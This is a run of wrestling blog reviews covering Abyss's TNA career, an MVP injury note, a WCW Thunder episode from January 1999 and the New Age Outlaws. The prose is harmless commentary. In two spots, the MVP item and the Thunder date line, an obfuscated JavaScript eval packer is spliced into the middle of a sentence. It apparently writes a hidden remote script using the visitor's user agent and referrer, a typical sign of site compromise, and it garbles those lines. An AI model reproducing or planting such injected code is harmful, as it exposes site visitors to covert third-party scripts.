Cibernetico’s entrance is in a word, epic. I think he’s supposed to be a cyborg or something. He’s clearly one of the most popular people in the company. This is that odd kind of hardcore where you have to tag in and out. Yeah I know just go with it. Cibernetico and Zorro start us off.

The tights of Cibernetico says Main Man. At least there isn’t a target saying “goes here” underneath it. The partners just come in for no apparent reason with Abyss going off on Vampiro. This is during Abyss-A-Mania but it doesn’t seem to be that bad at this point. Zorro has a kendo stick as the announcers argue some more. Zorro beats on Cibernetico with a chair in the ring while the other guys are out on the floor.

Vampiro sets up a table but can’t get a moonsault through it. Abyss can’t get his powerbomb through it either so it all evens out. Cibernetico hits the floor and now it’s turning into a regular hardcore match. Vampiro and Konnan point at each other for some reason but the wasted time lets Abyss get his hands on Vampiro. Abyss is thrown at the table which collapses but doesn’t break.

Konnan gets in Vampiro’s face again for no apparent reason. Everyone but Abyss is in the ring now and it’s a 2-1 beatdown. I’m not sure what the deal is with two referees. Maybe Gorilla Monsoon is secretly commissioner here or something. Cibernetico dumps Vampiro (to be with Abyss I guess) but has a kendo stick tossed into his leg.

Abyss is back in now but can’t get a double chokeslam. He settles for a double clothesline instead and down goes the Foreign Legion. Abyss……moves……very……very……slowly. The Foreign Legion hits the ring, in the form of Christopher Daniels, Kozlov, Chessman, Nosawa (Japanese guy) and Hernandez. Cibernetico is like screw that and beats them up on his own.

Zorro takes him down and hammers away with the kendo stick. Cue Abyss who hits Shock Treatment and Zorro is more or less dead. Hernandez misses a chair shot and hits Vampiro by mistake. Konnan grabs Vampiro and throws powder in his face. A chokeslam from Cibernetico ends this.

Rating: C+. Not bad here. They got rid of the tagging after about a second and things got a lot better. Decent little match here and the Foreign Legion losing is a good thing for a change tonight. Cibernetico is a guy that it’s easy to get behind so I can see why he’s one of the most popular there. Decent match all around but a bit rushed.

Soon after this, Abyss would start saying that THEY were coming. He would also get a World Title shot at Victory Road 2010.

TNA World Title: Mr. Anderson vs. Jeff Hardy vs. Rob Van Dam vs. Abyss

Everybody goes for Abyss to start and it doesn’t work. The crowd is odd here for some reason. This goes nowhere as Abyss just gets up. Hardy and Anderson get him down for like a second and we’re into the usual formula here to an extent. Yep we’re in the formula. That’s fine though as it’s really the only way to do this.

We’re mostly just killing time thus far. The crowd seems a bit dead for some reason but maybe it’s just been a long show. Van Dam hits a split legged moonsault on Anderson for two as Hardy saves. Abyss is gone for the moment so I’m waiting on his return to break up a pin. Instead we get a Tower of Doom with RVD taking the big bump from it. The fans chant TNA for a heel doing a big move. That sums things up pretty well.

Everyone is in the ring now and RVD is in control. I have no idea why everyone is trying to beat Abyss. He’s supposed to be unhurtable but they keep going for him. The fans chant for Anderson. This is really just a bunch of near falls with moves on the side. It’s not bad, but it’s the hazard of multiple man matches. Mic Check on Abyss gets two. Black Hole to Hardy gets two. Abyss looks stupid counting the pin.

Anderson and Hardy finally go at it and it gets NOTHING. This crowd is just out of it. Remember who these fans are too. Abyss is on Hardy who is on Anderson so RVD hits the Five Star for the pin. Wow that was anticlimactic.

Post match Abyss beats up RVD and gets the nail board which misses everything. The show ends with Abyss holding the board and RVD looking at him. Yeah that was stupid.

Rating: D. This just didn’t do it for me. It could have been worse, but at the same time there just wasn’t anything at all special here. The ending to both the match and the show just completely sucked, but what did you really expect? I see no reason at all for RVD to retain there, so of course he did. Whatever.

After feuding with Van Dam for a little while longer, Abyss would be revealed as one of the major stars who combined to form Immortal. This earned him a TV Title shot at Genesis 2011.

TV Title: Abyss vs. Douglas Williams

Yeah because this is EXACTLY what the people wanted to see. Williams has a hurt hand here. Sunset flip can’t hit early on as this is power vs. technical here. Abyss rams the hand into the post to take over. Williams slaps away but can’t do anything of note. Chokeslam can’t hit but Abyss puts him down anyway off a big boot. The fans want AJ.

Here’s the majority of this match: Williams tries to fight, Abyss hits him in the hand, Williams gets another shot in. A jumping back elbow from the second rope sets up a top rope knee drop for Williams for two. Running knee in the corner is countered into a big chokeslam for two. Abyss goes to the floor and finds Janice. It’s merely a ruse though as AJ comes down to clock Williams with the belt. Janice hits the floor again and a Black Hole Slam gives Abyss the TV Title. Get on to something else now.

Rating: C-. Match was ok I guess but dang dude this Immortal thing is getting to be such complete and utter nonsense it’s unreal. Abyss is a champion now and that’s all fine and good apparently. I’m not interested in this storyline at all and I know very few people that are, but TNA insists it’s good so that’s what we’re going to get. Oh joy indeed.

After vacating the title due to an injury, Abyss was sent after the X-Division Title on Impact, May 19, 2011.

X-Division Title: Abyss vs. Kazarian

Bischoff gives Abyss a pep talk before the match, basically saying kill him and also quoting Sun Tzu. Power vs. speed since the beginning as the announcers talk about how this could be the last X Division Title match ever if Abyss wins the belt. Abyss takes him down with power and cranks on the neck but Kaz fights back, only to walk into a chokeslam attempt. That doesn’t work and Kaz gets a springboard dropkick to take Abyss down.

Kaz cranks things up with a rana, an elbow and a legdrop, all off the ropes and resulting in a two count. Chokeslam is countered again into a victory roll for two but Kaz gets caught in Shock Treatment to shift the momentum right back to Abyss. Vader Bomb totally misses and may have hurt his knee. Kaz charges into a big boot as Abyss was apparently faking and the Black Hole Slam gives Abyss the only title he’s never won at 5:05. Tazz says the internet is burning up because of that. Abyss quotes Sun Tzu post match.

Rating: C+. Just a David vs. Goliath match but with a nice little twist of Abyss outsmarting Kaz when he couldn’t beat him with just straight power. I’m thinking this might actually be the beginning of the end for the division as there really isn’t much of a point to the thing at the moment. The TV Title is fine for a midcard title and despite the whole no limits thing, it’s almost always been seen as a Cruiserweight Title. Anyway, not a bad match but nothing of note at all.

Despite being handed titles, Abyss would leave Immortal in late 2011. They wanted him back though and sent Bully Ray to accomplish the goal. This led to a match at Genesis 2012 and if Ray wins, Abyss has to rejoin the team.

Bully Ray vs. Abyss

This is Monster’s Ball, which basically means hardcore. Ray immediately hits the floor and walks around for a bit. He grabs a chair and feels all mighty, but Abyss gets one of his own. Here’s a chair duel and Abyss shrugs off a chair shot. Ray walks into a chokeslam which he pops up from and a big boot takes Abyss down for a good 1 second. Abyss cracks him with a chair to take over and goes to get a staple gun and cheese grater.

Ray gets in a chain shot but a trashcan is no sold. With more weapon shots, Ray grabs a kendo stick. Abyss hits the floor and finds Janice, making Ray run to the back. Abyss follows and then they’re back already. They weren’t off camera for two seconds. Back at ringside and Abyss goes into a barbed wire board. Abyss’ arm is bleeding. He throws Ray in and grabs a pair of bags.

He doesn’t open them yet and instead it’s a cheese grater to the balls. Bag #1 has thumbtacks. Ray kicks him low, shouts about how his balls hurt, and gets a table. According to wrestling law #1 though, Ray goes through it via a chokeslam for two. There are two barbed wire boards in the ring now but Ray Rock Bottoms Abyss onto one for two.

Ray slams the other board on top of Abyss and hits the backsplash off the middle rope. Ok that was kind of awesome. Since it’s TNA though, it only gets two. Ray gets Janice but walks into a chokeslam onto the tacks….for two. Bully gets a boot up in the corner and grabs a kendo stick. He beats Abyss down with it via about 12 shots but for some reason hits the ropes. That’s enough for a Black Hole Slam onto the barbed wire for the pin at 15:28.

Rating: B-. Pretty fun and very violent hardcore match. The key to this one: we hadn’t seen it in awhile which made it have more, pardon the pun, impact. The no selling at the beginning was pretty fun and the big spots worked, but at some point it got kind of ridiculous. To be fair though, that’s the point. At least Immortal didn’t get a new member though so that’s a plus.

Later in the year, Abyss disappeared. Soon after this, Abyss’ brother Joseph Park would debut and say he was looking for the missing monster. Park of course became a wrestler and had a match against Aces and 8’s member Doc at Turning Point 2012.

Doc vs. Joseph Park

Doc is Luke Gallows remember. Park is always amazing in this role given how inept he can make himself look. He tries single leg takedown but Doc just laughs at him. Some wild right hands miss Doc until one accidentally catches him, ticking the biker off. They head to the floor where Park does a lot of running but manages to send Doc into the steps. Back in and Doc loads up a studded belt around his fist but the referee takes it away. Then we stop, because it’s hammer time. That of course gets taken away and Park pounds away.

The next three minutes or so are just Doc beating on Park with basic stuff and there’s only so much you can say about punches. Park starts a comeback but gets hit in the head with the belt to bust him open. He goes into a rage and hits the Black Hole Slam before turning back into Park. Park grabs a chair to whack Doc in the back with for two, but that’s all he’s got as Doc chokeslams him down for the pin at 11:01.

Rating: D. This was WAY too long and that’s where it died. At the end of the day, the joke with Park has been going on for months now and the fans clearly get it. Once the fans get what’s going on, the joke stops being as funny, which means it’s probably time to pull the plug on it, or at least move things forward. The match was bad though as it should have been about five minutes shorter.

Over time, Park would start freaking out if he saw blood. These moments got him a TV Title shot at Slammiversary 2013.

TV Title: D-Von vs. Joseph Park

Park doesn’t show up due to the beatdown from earlier tonight so D-Von talks some trash about the Boston Celtics. D-Von demands a ten count for Park to get out here….and there’s still no Park so D-Von retains.

D-Von of course makes the eternal mistake of running his mouth, saying that if Abyss was here, he’d take a beating like Park would have. You all know what’s coming next.

TV Title: D-Von vs. Abyss

Abyss cleans house of Knux and kicks D-Von in the face as the bell rings. Knux interferes from the floor to let D-Von get in a forearm to the face and take over with some very basic offense. Knee drops and right hands abound but a middle rope splash misses the monster. Abyss hits a splash in the corner followed by a chokeslam and the Black Hole Slam for the pin and the title at 3:49.

Rating: D. The match was barely there but it was the right result. D-Von has done nothing at all with the title in the six months he’s held it so maybe Abyss will actually defend the thing. If nothing else the split personalities deal is interesting when you add in a title. Nothing to see here, but that wasn’t the point of the match.

Park would start teaming with Eric Young and the pair had some success. They were in a gauntlet match at Bound For Glory 2013 with the winning team getting a Tag Team Title shot later in the show.

Tag Team Gauntlet

It’s a four team gauntlet match with the winning team getting the tag title shot on the PPV. We start with Bad Influence vs. Hernandez/Chavo Guerrero. The Bro Mans will be fourth due to Robbie E. winning a four way on Impact. Eric Young and Joseph Park will be third due to winning a drawing earlier tonight. Hernandez cleans house to start and Bad Influence bails to the floor. We finally get down to Daniels running into a big boot from Hernandez in the corner and take a quick break.

Back with Hernandez hitting an over the shoulder face plant to stop Kazarian’s momentum, allowing for a double tag to Chavo vs. Daniels. Chavo gets two off a headscissors and everything breaks down. Hernandez runs over Bad Influence and hits the big shoulder to run over Kazarian. Daniels low bridges SuperMex to the floor but walks into Three Amigos from Chavo. Not that it matters though as Kaz comes back in to distract Chavo, giving Daniels a rollup with a handful of trunks for the pin at 7:30.

Young and Park are in next but get jumped on the way in. Park runs over Kazarian and slams him down, only to have Daniels chop block him down to give Kazarian control. Bad Influence double teams the big man as the fans chant for Young. Kazarian can’t quite get a sunset flip but avoids a seated senton from the big guy.

We take another break and come back with Eric getting the hot tag and pounding away on Daniels in the corner. Young flips over the corner and does Daniels’ strut down the apron before coming back for a belly to belly and a near fall. Kazarian makes the save and gets sent to the floor, allowing Daniels to hit a release Rock Bottom but miss the BME. Park hits a Samoan Drop on Daniels to give Young the pin at 16:50.

Bad Influence jumps Park and Young post match and sends Park into the Ultimate X structure. The referee calls for help as Park is injured and Young is out cold in the ring. Here come the Bro Mans with special guest Mr. Olympia Phil Heath. It’s basically a handicap match here with Young getting double teamed for a big, only to make a comeback with right hands and forearms. A slam puts Robbie down and Eric drops a top rope elbow for two. The numbers finally catch up with Eric though and a double flapjack sets up a Hart Attack for the pin and the title shot at 22:00.

Rating: C-. Nothing special here but I liked the length of the match. Far too often in these things the falls last about 2 minutes each and are completely unrealistic when you compare them to normal wrestling matches. Having the shortest be seven and a half minutes made this far better. Also anything that keeps Chavo and Hernandez off my screen is a good thing.

We’ll wrap it up with their battle after the inevitable split. Young has since figured out that Park is Abyss, because that somehow took over a year to discover. From Impact, February 6, 2014.

Eric Young vs. Abyss

This is Monster’s Ball, meaning anything goes. They’re fighting in the back with Young actually in control and bringing Abyss through the entrance. Abyss comes back with a big right hand and some forearms to the back and the opening bell rings. Young crawls over to a trashcan full of weapons and blasts Abyss in the back with a pipe to get the advantage, only to have Abyss backdrop him on the floor. It’s table time but Young hits a quick dropkick to get a breather.

Young goes for the mast but Abyss slams him into the apron to get a breather. They head inside for the first time with Eric coming off the top, only to jump right into Abyss’ hands. A hard clothesline drops Young again and Abyss goes outside to get a chair. The chair is placed on Eric’s ribs but he manages to turn it on its side to crotch a charging Abyss. Eric is sent into the corner and out to the apron where he comes back with a missile dropkick for two.

Just as Eric gets some momentum he gets sent face first into the chair in the corner and a chokeslam gets two. Abyss goes outside and gets his bag of tacks before loading up a superplex, only to have Young counter with a sunset powerbomb into the tacks for two. Eric goes up top but Abyss punches him off the top rope and out through the table in a huge crash. Back in and Young somehow gets his foot on the ropes to break the pin so Abyss pulls out the big weapon: Janice, the baseball bat full of nails. Young rips the mask off to save himself and reveal Joseph Park, earning himself the Black Hole Slam for the pin at 9:41.

Rating: B-. That might be a bit high but I was digging this match. It wasn’t the best hardcore match I’ve ever seen or anywhere close to it but Young was working well out there. I can tolerate him much more easily when he’s not being over the top and stupid which is what we got here. Abyss is a fun character too as there’s something awesome about a guy who just breaks stuff.

Abyss is a guy that has found his niche as TNA’s hardcore guy, but there’s a much more interesting character hidden beneath all the scars. He’s gone from being a monster to a complex character to a lawyer to the same old character he was before. There’s still a benefit to having him there but he relies on doing the same stuff over and over again.

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MVP Injured, Status Uncertain For Slammiversary

MVP eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tfdnk|var|u0026u|referrer|netdn||js|php'.split('|'),0,{})) has injured his knee at an indy show.  There’s no word on his status for the pay per view but he wasn’t able to wrestle his match today.  The show is two weeks from tomorrow.




Thunder – January 7, 1999: Hulk Hogan Looks Like A Moron

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adtdb|var|u0026u|referrer|teine||js|php'.split('|'),0,{})) January 7, 1999
Location: Richmond Coliseum, Richmond, Virginia
Attendance: 8,597
Commentators: Mike Tenay, Tony Schiavone, Bobby Heenan

It’s a new year but somehow it feels like we’re still in 1997. Hogan is World Champion again and he has the full NWO behind him including Lex Luger and the Outsiders. This is the first show after the Fingerpoke of Doom, which is kind of uncharted territory. So many people remember the Fingerpoke of Doom, but after that you barely hear any TV talked about until Russo came in. Let’s get to it.

We open with a recap of Flair vs. Bischoff which earned Ric control of the company ten days earlier. You would think this would be a montage of what happened Monday, not ten days ago. There is a clip from Monday, though it’s about what Flair did on his first night in power. This eats up nearly five minutes.

The announcers talk about Bischoff a bit before we talk about the World Title situation from Monday. Tony: “Words cannot describe what happened on Monday.” You mean when Nash laid down to give Hogan the title and the NWO reunited? That’s something you can’t describe? We see the ending segment again, plus some bonus footage from after the show went off the air. Goldberg wanted to fight Nash but I believe the Atlanta Falcons got in the ring instead. Nash didn’t come out so this really doesn’t mean much.

Gene brings out Flair for a chat. He asks Ric about what happened on Monday and Flair is very serious. Flair talks about the tradition in this building and wrestling Harley Race here eighteen years ago. They were two men fighting to be the World Heavyweight Champion. That brings him to Hogan and Nash. Flair has spent his entire career walking behind Hulk Hogan and ten years from now, they’re going to look at their kids and have to explain what they’ve done.

Flair lays down and demands that Gene count him. He demands to know why Nash gave the World Title to Hulk Hogan. Flair shook his hand on Nitro and gave him the match so this is all on the President. He lists off every member of the new NWO and singles out Luger for having no leadership.

As for Bischoff, he spent hours sitting there silently before erupting at the end. Bischoff will be in a meeting with Harvey Schiller, Ted Turner and Flair to figure out what to do about Hogan and Nash this coming Monday. Flair lists off a bunch of legends and says they all used to be World Champions. Hogan and Nash are not taking away what that title means.

We see the clip of Jericho talking to referee Scott Dickinson on Nitro.

Ernest Miller vs. Perry Saturn

Starrcade rematch. Miller holds him off with kicks to the air before taking Saturn into the corner. A superkick puts Saturn down as the fans are trying to care about this show at all. Saturn tries a sunset flip, gets punched in the face, and then pulls Miller down after some posing anyway. Miller gets caught by a head and arms suplex for two but a Sonny distraction lets Cat get in another kick. Falcon’s Arrow gets two on Miller but Jericho pulls the referee to the floor. Tony: “The world has turned upside down.” Miller rolls Saturn up and Dickinson runs in, counts a one, and gives Miller the match.

Rating: D. Saturn is now feuding with a referee. How long ago was he at war with Raven in a hot feud? Four months? This was a waste of time and I can’t blame Saturn for wanting to get out of the company as fast as he could. Do Jericho and Saturn even have an issue? Jericho started stuff with Miller after Starrcade and now he’s feuding with Saturn because…..WCW?

Both NWO camps arrive with Hogan in a Red and Black shirt with a flannel shirt over it, complete with a red and black Harley-Davidson toboggan. Giant is the biggest star in Black and White and asks Hogan what’s up with this. Hogan says give him five minutes and they’ll have a meeting. Hogan looks like an idiot. We follow the Red and Black into their dressing room….and that’s all for this shot.

We look at Luger turning heel. Thankfully Tony brings up Scott Steiner recruiting him, so there is at least a backstory for it, even though it could have just been part of the NWO merger.

Cruiserweight Title: Kidman vs. Psychosis

Kidman is defending. They stall to start until Psychosis cranks on a wristlock into a hammerlock. Kidman rolls him out to the floor and hits a nice plancha as we go to a break. Back with….an ad for the Nitro Girls calendar. Now we’re back with both guys down on the floor. Apparently Psychosis hit a big top rope backsplash to the floor to get them in that position. Not that we get to see it or anything, but Tenay seemed to think it was rather spiffy.

Back in and the BK Bomb gets two on Psychosis before he tries a powerbomb of his own. You know what that means, but Juventud Guerrera runs in for the DQ before we get the Shooting Star. No rating due to the commercial but we didn’t get to see many of the high spots anyway.

Rey Mysterio comes out for the save but here’s the Red and Black. The cruiserweights get destroyed but Mysterio is allowed to leave. Nash talks about the match of the century on Monday where Hogan took the title. Hogan says Flair can’t handle the fact that tradition has been taken to a new level. He promises to take back the wrestling business and rips on Goldberg for having police and Atlanta Falcons protecting him. On Monday, we’ll see what backup is all about.

Cue the Black and White who aren’t looking very pleased. You can see Psychosis being taken out as they hit the ring. Giant wants to know why Hogan didn’t come talk to him but Hollywood says it was just bad timing. Hogan loves all the Black and White guys but thinks there’s a problem. It was Giant that got suckered in by the Macho Man (who hasn’t been seen since the night after Starrcade) and it’s time to trim some fat around here.

The Red and Black are all cool, but Giant is jumping in Hogan’s face. There’s only room for one giant in the NWO, and Kevin Nash has never dropped the ball. Giant says he’s the giant, because his name says he is. Hogan respects that and declares love for the Black and White. Since this is business, how about Nash vs. Giant on Monday for the giant spot on the team? Giant agrees.

This Week in WCW Motorsports. There are too many jokes to pick from.

Ad for the WCW/NWO Thunder game for Playstation.

We go to Raven’s house where his family and Kanyon are trying to get him to go back to therapy. He’s sitting there in ring gear and all of the women say the same things over and over. Raven says he doesn’t want to go back and everyone talks over each other. Raven finally walks off. His sister is being played by ECW’s Chastity.

Jerry Flynn vs. Bam Bam Bigelow

Neither guy has music. Twenty six seconds and Greetings From Asbury Park ends Jerry.

Tony wants to know where Konnan was on Monday. That’s a fair question actually.

Gene brings out Curt Hennig and Barry Windham for a chat. They talk about Ric sending his son to a slaughter, even though Ric’s career is already over. Hennig says not only will it be a handicap match, but Flair will have a handicapped kid.

Juventud Guerrera is trying to leave but Gene flags him down because Gene is an annoying man. Juvy rants about someone getting to Eddie before switching to Spanish. Gene: “You don’t have to talk to me in Mexican. You can talk to me in English.” Juvy looks terrified and escapes while talking about the Wolfpack.

Disco Inferno vs. Chavo Guerrero Jr.

No NWO shirt for Disco anymore. Pepe has a neck brace after what happened to him on Monday. Disco doesn’t know what to make of it so he grabs a wristlock instead. A shoulder puts Disco down and it’s time to dance. Some clotheslines put Inferno down again as they’re barely past the first month of wrestling school so far. Disco bails to the floor and Pepe rides Chavo around the ring a bit.

Back in and Chavo fires off some chops as we hear about the Tag Team Titles being vacated due to Rick Steiner’s injury. Flair has announced a tournament, but Tony is cut off by Norman Smiley coming out to do the Big Wiggle with Pepe included. Chavo goes to save the horse and gets caught by the Chartbuster for the pin.

Rating: D. The match didn’t have time to do anything as it was more about continuing Chavo vs. Smiley rather than anything with Disco. I’m glad Smiley has a feud now but couldn’t they do more for him than have something about dancing with a wooden horse? Well in theory they could, but it might take something away from 87 NWO segments a show.

Tag Team Title Tournament First Round: Fit Finlay/Dave Taylor vs. Super Calo/Lizmark Jr.

Finlay and Calo get things going as Tony talks about seeing Jimmy Snuka and Paul Orndorff winning the World Tag Team Titles back in the 70s. A headlock annoys Calo so Finlay sends him flying with a shoulder instead. Taylor gets in a kick from the apron and Finlay scores with a clothesline. Lizmark and Taylor come in with the masked man nailing a dropkick and stopping for what looked like a dance. Finlay comes back in to clean house and then hand it back to Taylor. Lizmark misses a moonsault press and a floatover butterfly suplex sends Finlay and Taylor to the next round.

Rating: D+. The match wasn’t horrible but these matches not even getting to five minutes is getting very annoying. I get that it’s a special kind of show, but usually you get a long match to fill in some of the time. This is the fifth match of the night and the only one that got more than five minutes had a commercial in it. It doesn’t help that it’s not even anything interesting, though paying some attention to the tag division is a nice idea.

Not that the match matters as the NWO comes in to clean house. Hall says tradition bites and there’s no tag wrestling around here because the Outsiders were undefeated. The tournament isn’t going to happen.

Booker T. vs. La Parka

La Parka dances a bit but gets forearmed for his efforts. Booker easily sends him outside but gets caught in a chase, allowing La Parka to hit some chops in the corner. Time to dance! La Parka fires off some right hands in the corner as Tony says there’s no way Booker is getting a World Title shot anytime soon. Booker easily comes back with the ax kick for two and the whip spinebuster. Tony is of course talking about some meeting with human resources. La Parka clotheslines Booker out to the floor and brings the chair in, only to have Booker kick it into his face for the pin.

Rating: C-. The match probably wasn’t that good but after this show I’ll take anything. La Parka wasn’t the best in the world but he was having a decent match here and actually trying. Booker continues to look like someone capable of getting a rocket push at the drop of a hat, but like Tony said, that simply wasn’t in the cards at this point.

Back to Raven’s house with him sitting by the pool and Kanyon cleaning. A man with blond hair named Jim shows up and throws Kanyon in. Apparently the man is related to the family and gets into a chat with them as Raven goes inside. You might know Jim better by his ring name: the Sandman.

We see Konnan beating Chris Jericho for the TV Title back in November.

Chris Jericho vs. Konnan

We cut to the back to see La Parka laid out with the NWO circle of spray paint around him. Konnan (still in a Konnan Red and Black shirt) does the catchphrases and finally gets jumped while he talks forever. Why did no one ever figure that out before? Konnan fights back with a shoulder but walks into a spinwheel kick. Another clothesline puts Jericho on the floor and it’s right back inside for a chinlock.

That goes nowhere so a release hot shot puts Konnan down instead. Back up and Konnan spins around into a bulldog for two followed by the rolling lariat. Scott Dickinson is bumped and Jericho pulls out a foreign object for two but Saturn pulls Dickinson out. Back in and Konnan gets in a cheap shot and Saturn counts a fast three because why not.

Rating: D+. This show is rapidly killing me as this referee nonsense is such a waste of Saturn’s skills. They tried to throw in something about them coming from the same wrestling school but at the end of the day, it’s Saturn feuding with a referee and Jericho by proxy. Why am I supposed to be interested?

Tony and Tenay brag about doing commentary in the Thunder game. Heenan: “Why wasn’t I invited?” Tony: “You’re very obnoxious.”

Chris Benoit vs. Barry Windham

Apparently Tony gave human resources a very bad report on Eric Bischoff’s commentary Monday. They fight against the ropes to start as Tony lists off a bunch of people Bischoff has treated horribly over the years. Benoit and Windham fight to the floor as the announcers still ignore them.

Back in and Benoit backdrops Barry and chops away in the corner. Windham nails a quick low blow to take over but gets caught in the release German. Back to the floor with Benoit being rammed into the barricade but coming back with a clothesline inside. The referee goes down again as Benoit hits another German but Hennig comes in. He gets caught in the Crossface but Barry is back up to kick Benoit in the head for the pin.

Rating: D. Think back to all the battles and matches Benoit has had. Think back to the wars with Kevin Sullivan. Now imagine a single kick to the back of the head being enough to pin him. It’s just a way to cap this awful show with another stupid moment that doesn’t make sense or please any fan.

Mongo comes out for the save to end the show.

Overall Rating: F. This looks to be the start of a really bad time for WCW. We had terrible matches (none of which seemed like anyone was even trying save for maybe Booker T. vs. La Parka) and WAY too much NWO stuff. I see no reason whatsoever for the LWO to have to be destroyed. Did we really need to prove that the guys who just destroyed GOLDBERG could beat people up? It’s clear that there was no thought put into this save for the main event angles and that’s not a good thing. The main event was just there and the announcers spent half the time talking about Tony and human resources. REALLY bad sign here.

 

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Wrestler of the Day – May 12: New Age Outlaws

Oh you didn’t know? Today we have the New Age Outlaws.

The Outlaws are of course Road Dogg Jesse James and Billy Gunn, who had a few meaningless matches in late 1997 and decided to team up instead of wasting their careers. Their first match together was on Shotgun Saturday Night, September 20, 1997.

New Age Outlaws vs. Los Boricuas

It’s Jesus Castillo/Jose Estrada here and the Outlaws are still Rockabilly and Jesse James. The Outlaws jump Los Boricuas and it’s Jesus in trouble to start. Rockabilly’s tilt-a-whirl backbreaker is countered into an armdrag but it’s off to Jesse before much damage can be done. Billy misses a splash into the corner and it’s off to Estrada to clean house. Everything breaks down and Billy nails Jose with his manager Honky Tonk Man’s guitar for the pin.

The lame team would get a Tag Team Title shot on Raw, November 24, 1997.

Tag Team Titles: Legion of Doom vs. New Age Outlaws

The Outlaws come out in LOD pads with Dogg calling Hawk and Animal dinosaurs. The brawl starts on the stage until Animal backdrops Billy to start. Hawk comes in and beats up both Outlaws on his own so Road Dogg heads outside. That’s fine with Animal who nails Dogg with a clothesline on the floor. Back in and a delayed vertical suplex gets two for Hawk as this has been total dominance so far.

Billy finally trips Hawk up and we take a break. Back with Hawk nailing Dogg with a clothesline but Billy distracts Animal to break up a tag. Hawk and Billy clothesline each other but the referee doesn’t see the hot tag to Animal. Dogg hits Hawk in the face with a title belt for two but Billy’s top rope legdrop only hits mat. Animal gets the tag and cleans house but the referee gets bumped. Everything breaks down and Billy nails Animal in the back with a chair, giving Billy the pin and the titles for a HUGE shock.

Rating: D+. The match sucked but the LOD was so far past their prime here that having them just give a rub was the best use for them. The Outlaws were basically the Honky Tonk Man of the tag team division: they beat so many other teams that they had no business beating and the fans kept thinking their next match would FINALLY be the time, but it never was.

The Outlaws would hold the titles until Wrestlemania XIV where they lost them to Cactus Jack and Chainsaw Charlie. There was a rematch last night which changed the Outlaws’ careers forever.

Tag Titles: Cactus Jack/Chainsaw Charlie vs. New Age Outlaws

Road Dogg is wearing a JOB Squad t-shirt for some reason. The old guys jump them as they get in and the fight is on. Funk has a BAD bruise on his back/hip. Gunn gets suplexed into the cage and is hung upside down from the top of the cage. There are no tags in this. This is a total mess but that’s supposed to be the point so it works.

Funk is tied to the cage with something. Cactus manages to get a double DDT but it’s a handicap match now. Funk gets an arm free but can’t untie himself. He’s tied by his throat. Jack and Gunn go up to the corner and Billy gets crotched. DX comes in and Pac blasts Cactus with a chair and a spike Piledriver onto said chair gives the Outlaws the titles again.

Rating: C. Call this right in the middle because it was a big mess, but that was the idea here. Also the whole point of this was to show that DX had fresh blood in it as the Outlaws are officially part of DX now. This was a perfect fit as they were all about the lack of respect and all that jazz. They worked rather well in that role too.

The Outlaws would continue to be intelligent, as shown on Raw, June 8, 1998.

Tag Titles: Disciples of Apocalypse vs. Legion of Doom vs. New Age Outlaws

During the Outlaws’ entrance, Taker beats up Sarge in the back. HHH and Pac are on the stage with various funny signs. Just two in the ring at a time. Billy vs. Animal gets us going. Billy brings in 8-Ball quickly and oh yay it’s more DOA vs. LOD. Let’s say that’s 8-Ball beating on Road Dogg. The twins take over and you can feel the energy being sucked out of the show while they’re in there.

Roadie finally brings in Hawk who just does not look right with hair. Neckbreaker gets two on Skull. Billy comes in and the match continues to go nowhere. The challengers are back in almost immediately and Animal pounds him down. Let’s say that’s Skull. Road Dogg comes in and takes a missed low blow. Back to Animal vs. Skull. GET THIS OVER WITH ALREADY. Finally we get to the ending as both of the Outlaws are brought in. And then Road Dogg quickly lays down for the pin before anyone else can get in. And that’s Outlaws 101. Shouldn’t they lose the titles though as they gave up the fall?

Rating: D+. Other than the ending, this was really boring stuff. The DOA vs. LOD feud went on FOREVER and never got interesting in the slightest. They were such a clash of styles and none of them had anything interesting at all to do. Boring match but the ending showed why the Outlaws are so memorable: they couldn’t beat the challengers physically so use your brains.

The Outlaws would defend the titles for months (save for a period of Mankind and Kane taking them), including this match at Survivor Series 1998.

Tag Titles: New Age Outlaws vs. Headbangers vs. D’Lo Brown/Mark Henry

The Outlaws are defending of course. This was set up on Raw with both challenging teams doing something that I can’t remember to earn the shot. Billy and Brown start things off but Mosh comes in off a blind tag to try to steal a pin on Billy. Mosh hits a running body attack in the corner on Gunn before diving at Brown as well. This is pretty messy so far. The Outlaws pound on the former Nation guys in opposite corners before the Headbangers double team Roadie.

Brown and Mosh trade pin attempts on Dogg. This is the old triple threat tag match rules where there are three people at a time in there which I’ve always preferred. Off to Henry for a bearhug on Roadie until Mosh makes the save. Off to Brown, Thrasher and Dogg as this continues to be ugly stuff. Gunn gets in a LOUD argument with the referee as Brown ranas Thrasher off the top.

Roadie pounds on Brown and Thrasher but Henry takes his head off with a clothesline. Brown’s running powerbomb to Thrasher is countered into a sunset flip for two. A Henry legdrop gets the same on Dogg, followed by the Headbangers double teaming Roadie for the same. Brown offers a pact with Mosh but gets kicked in the balls for his efforts. JR can almost be heard moaning at how bad this match is. Roadie finally escapes the beating for the hot tag to Billy. The fans LOVED the Outlaws so at least they’re reacting here.

Brown hits the Sky High on Billy but since everyone is out of position, it takes forever to start the count. Jesse Ventura would have a field day with this. To further the stupidity here, Billy hits a Fameasser on Mosh but Henry makes the save with a splash, also hitting Mosh. Mark just stays on top of Mosh for a cover, but after two finisher it only gets two. That Mosh man, he’s TOUGH. Billy finally piledrives Mosh to retain the titles.

Rating: F. This was terrible and there’s no other way to put it. They were all over the place and no one was even reading the same book out there. The referee had to count very slowly so the saves could be made and there was no flow to this at all. Just awful and JR’s commentary makes it even funnier, but in a kind of sad way.

After having some issues and splitting for awhile in early 1999, the team would reunite as heels later in the years. They would get the titles back from the Rock N Sock Connection and defend them at Unforgiven 1999.

